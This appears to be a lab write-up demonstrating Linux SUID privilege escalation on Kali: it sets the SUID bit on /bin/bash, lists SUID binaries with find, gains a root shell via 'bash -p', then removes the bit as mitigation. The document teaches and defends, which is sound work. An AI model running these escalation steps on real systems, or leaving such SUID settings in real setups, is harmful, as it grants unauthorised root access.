

Task 4

SUID & Privilege Escalation

Setup:

```
(kali㉿kali) - [~/Desktop]  
$ sudo chmod u+s /bin/bash
```

☐☐☐ The command sets the SUID ☐☐☐ Set User ID ☐☐☐ bit on `/bin/bash`, enabling it to execute with the owner's (root) privileges.

```
(kali㉿kali) - [~/Desktop]  
$ chmod 4755 root_script.sh
```

☐☐☐

Create a script with root privileges ➤ The `4755` permission setting ensures the following:

- **4** ☐☐☐ Sets the SUID ☐☐☐ Set User ID ☐☐☐ bit.
- **7** ☐☐☐ Grants the owner read (`r`), write (`w`), and execute (`x`) permissions.
- **5** ☐☐☐ Grants the group read (`r`) and execute (`x`) permissions.
- **5** ☐☐☐ Grants others read (`r`) and execute (`x`) permissions.

Exploit

```
(kali㉿kali)-[~/Desktop]
$ find / -perm -4000 2>/dev/null

/home/kali/Desktop/root_script.sh
/usr/lib/chromium/chrome-sandbox
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/bin/rsh-redone-rlogin
/usr/bin/ntfs-3g
/usr/bin/kismet_cap_nrf_52840
/usr/bin/pkexec
/usr/bin/mount
/usr/bin/bash
/usr/bin/kismet_cap_linux_wifi
/usr/bin/fusermount3
/usr/bin/kismet_cap_nrf_51822
/usr/bin/kismet_cap_ubertooth_one
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/kismet_cap_ti_cc_2531
/usr/bin/kismet_cap_rz_killerbee
/usr/bin/kismet_cap_hak5_wifi_coconut
/usr/bin/kismet_cap_linux_bluetooth
/usr/bin/su
/usr/bin/kismet_cap_ti_cc_2540
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/umount
/usr/bin/rsh-redone-rsh
/usr/bin/kismet_cap_nxp_kw41z
/usr/bin/passwd
/usr/bin/kismet_cap_nrf_mousejack
/usr/sbin/mount.nfs
/usr/sbin/mount.cifs
/usr/sbin/pppd

(kali㉿kali)-[~/Desktop]
$ /bin/bash -p

bash-5.2#
```

To identify SUID misconfigurations, use the command `find / -perm -4000 2>/dev/null`, which lists files with the SUID bit set while suppressing error messages from inaccessible directories. To escalate privileges to root, execute `/bin/bash -p`, where the `-p` flag ensures the shell retains elevated privileges, granting root access.

Mitigation

```
(kali㉿kali)-[~/Desktop]
$ sudo chmod -s /bin/bash
```

To enhance security, remove unnecessary SUID permissions using `chmod -s /bin/bash`, and restrict script execution to specific users by adjusting file ownership with `chown root:trusted_user root_script.sh` and configuring the sudoers file for stricter control.